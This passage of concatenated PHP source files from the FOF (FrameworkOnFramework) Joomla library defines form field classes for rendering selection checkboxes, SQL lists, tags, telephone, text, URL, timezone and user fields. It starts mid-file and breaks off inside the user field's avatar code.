// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Form Field class for FOF
* Renders the checkbox in browse views which allows you to select rows
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldSelectrow extends JFormField implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Method to get the field input markup for this field type.
*
* @since 2.0
*
* @return string The field input markup.
*/
protected function getInput()
{
throw new Exception(__CLASS__ . ' cannot be used in input
forms');
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
throw new Exception(__CLASS__ . ' cannot be used in single item
display forms');
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
if (!($this->item instanceof FOFTable))
{
throw new Exception(__CLASS__ . ' needs a FOFTable to act
upon');
}
// Is this record checked out?
$checked_out = false;
$locked_by_field =
$this->item->getColumnAlias('locked_by');
$myId = JFactory::getUser()->get('id', 0);
if (property_exists($this->item, $locked_by_field))
{
$locked_by = $this->item->$locked_by_field;
$checked_out = ($locked_by != 0 && $locked_by != $myId);
}
// Get the key id for this record
$key_field = $this->item->getKeyName();
$key_id = $this->item->$key_field;
// Get the HTML
return JHTML::_('grid.id', $this->rowid, $key_id,
$checked_out);
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('sessionhandler');
/**
* Form Field class for FOF
* Joomla! session handlers
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldSessionhandler extends JFormFieldSessionHandler
implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
return '<span id="' . $this->id . '"
' . $class . '>' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
return '<span class="' . $this->id . ' ' .
$class . '">' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('spacer');
/**
* Form Field class for the FOF framework
* Spacer used between form elements
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldSpacer extends JFormFieldSpacer implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
return $this->getInput();
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
return $this->getInput();
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('sql');
/**
* Form Field class for FOF
* Radio selection listGeneric list from an SQL statement
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldSql extends JFormFieldSql implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
return '<span id="' . $this->id . '"
' . $class . '>' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
return '<span class="' . $this->id . ' ' .
$class . '">' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('tag');
/**
* Form Field class for FOF
* Tag Fields
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFFormFieldTag extends JFormFieldTag implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Method to get a list of tags
*
* @return array The field option objects.
*
* @since 3.1
*/
protected function getOptions()
{
$options = array();
$published = $this->element['published']?
$this->element['published'] : array(0,1);
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true)
->select('DISTINCT a.id AS value, a.path, a.title AS text,
a.level, a.published, a.lft')
->from('#__tags AS a')
->join('LEFT', $db->quoteName('#__tags') .
' AS b ON a.lft > b.lft AND a.rgt < b.rgt');
if ($this->item instanceof FOFTable)
{
$item = $this->item;
}
else
{
$item = $this->form->getModel()->getItem();
}
if ($item instanceof FOFTable)
{
// Fake value for selected tags
$keyfield = $item->getKeyName();
$content_id = $item->$keyfield;
$type = $item->getContentType();
$selected_query = $db->getQuery(true);
$selected_query
->select('tag_id')
->from('#__contentitem_tag_map')
->where('content_item_id = ' . (int) $content_id)
->where('type_alias = ' . $db->quote($type));
$db->setQuery($selected_query);
$this->value = $db->loadColumn();
}
// Filter language
if (!empty($this->element['language']))
{
$query->where('a.language = ' .
$db->quote($this->element['language']));
}
$query->where($db->qn('a.lft') . ' > 0');
// Filter to only load active items
// Filter on the published state
if (is_numeric($published))
{
$query->where('a.published = ' . (int) $published);
}
elseif (is_array($published))
{
FOFUtilsArray::toInteger($published);
$query->where('a.published IN (' . implode(',',
$published) . ')');
}
$query->order('a.lft ASC');
// Get the options.
$db->setQuery($query);
try
{
$options = $db->loadObjectList();
}
catch (RuntimeException $e)
{
return false;
}
// Prepare nested data
if ($this->isNested())
{
$this->prepareOptionsNested($options);
}
else
{
$options = JHelperTags::convertPathsToNames($options);
}
return $options;
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
$translate = $this->element['translate'] ? (string)
$this->element['translate'] : false;
$options = $this->getOptions();
$html = '';
foreach ($options as $option) {
$html .= '<span>';
if ($translate == true)
{
$html .= JText::_($option->text);
}
else
{
$html .= $option->text;
}
$html .= '</span>';
}
return '<span id="' . $this->id . '"
class="' . $class . '">' .
$html .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.1
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
$translate = $this->element['translate'] ? (string)
$this->element['translate'] : false;
$options = $this->getOptions();
$html = '';
foreach ($options as $option) {
$html .= '<span>';
if ($translate == true)
{
$html .= JText::_($option->text);
}
else
{
$html .= $option->text;
}
$html .= '</span>';
}
return '<span class="' . $this->id . ' ' .
$class . '">' .
$html .
'</span>';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('tel');
/**
* Form Field class for the FOF framework
* Supports a URL text field.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldTel extends JFormFieldTel implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? '
class="' . (string) $this->element['class'] .
'"' : '';
$dolink = $this->element['show_link'] == 'true';
$empty_replacement = '';
if ($this->element['empty_replacement'])
{
$empty_replacement = (string)
$this->element['empty_replacement'];
}
if (!empty($empty_replacement) && empty($this->value))
{
$this->value = JText::_($empty_replacement);
}
$innerHtml = htmlspecialchars($this->value, ENT_COMPAT,
'UTF-8');
if ($dolink)
{
$innerHtml = '<a href="tel:' . $innerHtml .
'">' .
$innerHtml . '</a>';
}
return '<span id="' . $this->id . '"
' . $class . '>' .
$innerHtml .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
// Initialise
$class = $this->id;
$show_link = false;
$empty_replacement = '';
$link_url = 'tel:' . htmlspecialchars($this->value,
ENT_COMPAT, 'UTF-8');
// Get field parameters
if ($this->element['class'])
{
$class = ' ' . (string) $this->element['class'];
}
if ($this->element['show_link'] == 'true')
{
$show_link = true;
}
if ($this->element['empty_replacement'])
{
$empty_replacement = (string)
$this->element['empty_replacement'];
}
// Get the (optionally formatted) value
if (!empty($empty_replacement) && empty($this->value))
{
$this->value = JText::_($empty_replacement);
}
$value = htmlspecialchars($this->value, ENT_COMPAT,
'UTF-8');
// Create the HTML
$html = '<span class="' . $class .
'">';
if ($show_link)
{
$html .= '<a href="' . $link_url .
'">';
}
$html .= $value;
if ($show_link)
{
$html .= '</a>';
}
$html .= '</span>';
return $html;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('text');
/**
* Form Field class for the FOF framework
* Supports a one line text field.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldText extends JFormFieldText implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
$empty_replacement = '';
if ($this->element['empty_replacement'])
{
$empty_replacement = (string)
$this->element['empty_replacement'];
}
if (!empty($empty_replacement) && empty($this->value))
{
$this->value = JText::_($empty_replacement);
}
return '<span id="' . $this->id . '"
' . $class . '>' .
htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
// Initialise
$class = $this->id;
$format_string = '';
$format_if_not_empty = false;
$parse_value = false;
$show_link = false;
$link_url = '';
$empty_replacement = '';
// Get field parameters
if ($this->element['class'])
{
$class = (string) $this->element['class'];
}
if ($this->element['format'])
{
$format_string = (string) $this->element['format'];
}
if ($this->element['show_link'] == 'true')
{
$show_link = true;
}
if ($this->element['format_if_not_empty'] ==
'true')
{
$format_if_not_empty = true;
}
if ($this->element['parse_value'] == 'true')
{
$parse_value = true;
}
if ($this->element['url'])
{
$link_url = $this->element['url'];
}
else
{
$show_link = false;
}
if ($show_link && ($this->item instanceof FOFTable))
{
$link_url = $this->parseFieldTags($link_url);
}
else
{
$show_link = false;
}
if ($this->element['empty_replacement'])
{
$empty_replacement = (string)
$this->element['empty_replacement'];
}
// Get the (optionally formatted) value
$value = $this->value;
if (!empty($empty_replacement) && empty($this->value))
{
$value = JText::_($empty_replacement);
}
if ($parse_value)
{
$value = $this->parseFieldTags($value);
}
if (!empty($format_string) && (!$format_if_not_empty ||
($format_if_not_empty && !empty($this->value))))
{
$format_string = $this->parseFieldTags($format_string);
$value = sprintf($format_string, $value);
}
else
{
$value = htmlspecialchars($value, ENT_COMPAT, 'UTF-8');
}
// Create the HTML
$html = '<span class="' . $class .
'">';
if ($show_link)
{
$html .= '<a href="' . $link_url .
'">';
}
$html .= $value;
if ($show_link)
{
$html .= '</a>';
}
$html .= '</span>';
return $html;
}
/**
* Replace string with tags that reference fields
*
* @param string $text Text to process
*
* @return string Text with tags replace
*/
protected function parseFieldTags($text)
{
$ret = $text;
// Replace [ITEM:ID] in the URL with the item's key value (usually:
// the auto-incrementing numeric ID)
$keyfield = $this->item->getKeyName();
$replace = $this->item->$keyfield;
$ret = str_replace('[ITEM:ID]', $replace, $ret);
// Replace the [ITEMID] in the URL with the current Itemid parameter
$ret = str_replace('[ITEMID]',
JFactory::getApplication()->input->getInt('Itemid', 0),
$ret);
// Replace other field variables in the URL
$fields = $this->item->getTableFields();
foreach ($fields as $fielddata)
{
$fieldname = $fielddata->Field;
if (empty($fieldname))
{
$fieldname = $fielddata->column_name;
}
$search = '[ITEM:' . strtoupper($fieldname) .
']';
$replace = $this->item->$fieldname;
$ret = str_replace($search, $replace, $ret);
}
return $ret;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('textarea');
/**
* Form Field class for the FOF framework
* Supports a text area
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldTextarea extends JFormFieldTextarea implements
FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
return '<div id="' . $this->id . '" '
. $class . '>' .
htmlspecialchars(nl2br($this->value), ENT_COMPAT, 'UTF-8')
.
'</div>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
return $this->getStatic();
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('timezone');
/**
* Form Field class for FOF
* Supports a generic list of options.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldTimezone extends JFormFieldTimezone implements
FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
$selected =
FOFFormFieldGroupedlist::getOptionName($this->getOptions(),
$this->value);
if (is_null($selected))
{
$selected = array(
'group' => '',
'item' => ''
);
}
return '<span id="' . $this->id . '-group"
class="fof-groupedlist-group ' . $class . '>' .
htmlspecialchars($selected['group'], ENT_COMPAT,
'UTF-8') .
'</span>' .
'<span id="' . $this->id . '-item"
class="fof-groupedlist-item ' . $class . '>' .
htmlspecialchars($selected['item'], ENT_COMPAT,
'UTF-8') .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
return $this->getStatic();
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('text');
/**
* Form Field class for the FOF framework
* Supports a title field with an optional slug display below it.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldTitle extends FOFFormFieldText implements FOFFormField
{
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
// Initialise
$slug_format = '(%s)';
$slug_class = 'small';
// Get field parameters
if ($this->element['slug_field'])
{
$slug_field = (string) $this->element['slug_field'];
}
else
{
$slug_field = $this->item->getColumnAlias('slug');
}
if ($this->element['slug_format'])
{
$slug_format = (string) $this->element['slug_format'];
}
if ($this->element['slug_class'])
{
$slug_class = (string) $this->element['slug_class'];
}
// Get the regular display
$html = parent::getRepeatable();
$slug = $this->item->$slug_field;
$html .= '<br />' . '<span class="' .
$slug_class . '">';
$html .= JText::sprintf($slug_format, $slug);
$html .= '</span>';
return $html;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('url');
/**
* Form Field class for the FOF framework
* Supports a URL text field.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldUrl extends JFormFieldUrl implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? '
class="' . (string) $this->element['class'] .
'"' : '';
$dolink = $this->element['show_link'] == 'true';
$empty_replacement = '';
if ($this->element['empty_replacement'])
{
$empty_replacement = (string)
$this->element['empty_replacement'];
}
if (!empty($empty_replacement) && empty($this->value))
{
$this->value = JText::_($empty_replacement);
}
$innerHtml = htmlspecialchars($this->value, ENT_COMPAT,
'UTF-8');
if ($dolink)
{
$innerHtml = '<a href="' . $innerHtml .
'">' .
$innerHtml . '</a>';
}
return '<span id="' . $this->id . '"
' . $class . '>' .
$innerHtml .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
// Initialise
$class = $this->id;
$show_link = false;
$empty_replacement = '';
$link_url = htmlspecialchars($this->value, ENT_COMPAT,
'UTF-8');
// Get field parameters
if ($this->element['class'])
{
$class .= ' ' . (string) $this->element['class'];
}
if ($this->element['show_link'] == 'true')
{
$show_link = true;
}
if ($this->element['empty_replacement'])
{
$empty_replacement = (string)
$this->element['empty_replacement'];
}
// Get the (optionally formatted) value
if (!empty($empty_replacement) && empty($this->value))
{
$this->value = JText::_($empty_replacement);
}
$value = htmlspecialchars($this->value, ENT_COMPAT,
'UTF-8');
// Create the HTML
$html = '<span class="' . $class .
'">';
if ($show_link)
{
$html .= '<a href="' . $link_url .
'">';
}
$html .= $value;
if ($show_link)
{
$html .= '</a>';
}
$html .= '</span>';
return $html;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('user');
/**
* Form Field class for the FOF framework
* A user selection box / display field
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldUser extends JFormFieldUser implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
// Initialise
$show_username = true;
$show_email = false;
$show_name = false;
$show_id = false;
$class = '';
// Get the field parameters
if ($this->element['class'])
{
$class = ' class="' . (string)
$this->element['class'] . '"';
}
if ($this->element['show_username'] == 'false')
{
$show_username = false;
}
if ($this->element['show_email'] == 'true')
{
$show_email = true;
}
if ($this->element['show_name'] == 'true')
{
$show_name = true;
}
if ($this->element['show_id'] == 'true')
{
$show_id = true;
}
// Get the user record
$user = JFactory::getUser($this->value);
// Render the HTML
$html = '<div id="' . $this->id . '"
' . $class . '>';
if ($show_username)
{
$html .= '<span
class="fof-userfield-username">' . $user->username .
'</span>';
}
if ($show_id)
{
$html .= '<span class="fof-userfield-id">' .
$user->id . '</span>';
}
if ($show_name)
{
$html .= '<span class="fof-userfield-name">' .
$user->name . '</span>';
}
if ($show_email)
{
$html .= '<span class="fof-userfield-email">'
. $user->email . '</span>';
}
$html .= '</div>';
return $html;
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
// Initialise
$show_username = true;
$show_email = true;
$show_name = true;
$show_id = true;
$show_avatar = true;
$show_link = false;
$link_url = null;
$avatar_method = 'gravatar';
$avatar_size = 64;
$class = '';
// Get the user record
$user = JFactory::getUser($this->value);
// Get the field parameters
if ($this->element['class'])
{
$class = ' class="' . (string)
$this->element['class'] . '"';
}
if ($this->element['show_username'] == 'false')
{
$show_username = false;
}
if ($this->element['show_email'] == 'false')
{
$show_email = false;
}
if ($this->element['show_name'] == 'false')
{
$show_name = false;
}
if ($this->element['show_id'] == 'false')
{
$show_id = false;
}
if ($this->element['show_avatar'] == 'false')
{
$show_avatar = false;
}
if ($this->element['avatar_method'])
{
$avatar_method =
strtolower($this->element['avatar_method']);
}
if ($this->element['avatar_size'])
{
$avatar_size = $this->element['avatar_size'];
}
if ($this->element['show_link'] == 'true')
{
$show_link = true;
}
if ($this->element['link_url'])
{
$link_url = $this->element['link_url'];
}
else
{
if (FOFPlatform::getInstance()->isBackend())
{
// If no link is defined in the back-end, assume the user edit
// link in the User Manager component
$link_url =
'index.php?option=com_users&task=user.edit&id=[USER:ID]';
}
else
{
// If no link is defined in the front-end, we can't create a
// default link. Therefore, show no link.
$show_link = false;
}
}
// Post-process the link URL
if ($show_link)
{
$replacements = array(
'[USER:ID]' => $user->id,
'[USER:USERNAME]' => $user->username,
'[USER:EMAIL]' => $user->email,
'[USER:NAME]' => $user->name,
);
foreach ($replacements as $key => $value)
{
$link_url = str_replace($key, $value, $link_url);
}
}
// Get the avatar image, if necessary
if ($show_avatar)
{
$avatar_url = '';
if ($avatar_method == 'plugin')
{
// Use the user plugins to get an avatar
FOFPlatform::getInstance()->importPlugin('user');
$jResponse =
FOFPlatform::getInstance()->runPlugins('onUserAvatar',
array($user, $avatar_size));
if (!empty($jResponse))
{
